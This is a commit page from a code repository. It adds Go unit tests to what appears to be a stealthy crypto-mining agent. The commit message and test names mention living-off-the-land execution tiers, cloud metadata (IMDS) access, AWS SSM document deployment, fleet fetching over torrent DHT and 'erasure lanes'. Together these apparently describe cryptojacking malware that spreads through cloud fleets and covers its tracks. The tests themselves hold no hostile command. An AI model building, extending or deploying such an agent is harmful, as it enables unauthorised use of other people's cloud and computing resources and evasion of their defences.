Extend agent tests for cloud fleet features and erasure lanes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.
This commit is contained in:
@@ -4,11 +4,12 @@ import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
c := &AgentClient{agentID: "a1"}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{
|
||||
AgentID: "a1",
|
||||
Reason: "broken branch",
|
||||
@@ -35,3 +36,25 @@ func TestApplyEpidemiologyFixForceTier(t *testing.T) {
|
||||
t.Fatalf("force tier=%v", policy.ForceTier)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyEpidemiologyFixErasureLanes(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{}}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{ErasureLanes: true, Reason: "court splice"})
|
||||
c.applyEpidemiologyFixJSON(raw)
|
||||
if !c.cfg.ErasureLanesEnabled {
|
||||
t.Fatal("expected erasure lanes enabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyEpidemiologyFixSkipsWrongAgent(t *testing.T) {
|
||||
c := &AgentClient{agentID: "mine", tierPolicy: miner.MiningTierPolicy{SkipTiers: []miner.LOTLTier{"wsl"}}}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{
|
||||
AgentID: "other",
|
||||
SkipTiers: []string{"exe_subprocess"},
|
||||
})
|
||||
c.applyEpidemiologyFixJSON(raw)
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.SkipTiers) != 1 || policy.SkipTiers[0] != miner.LOTLTier("wsl") {
|
||||
t.Fatalf("policy=%+v", policy)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user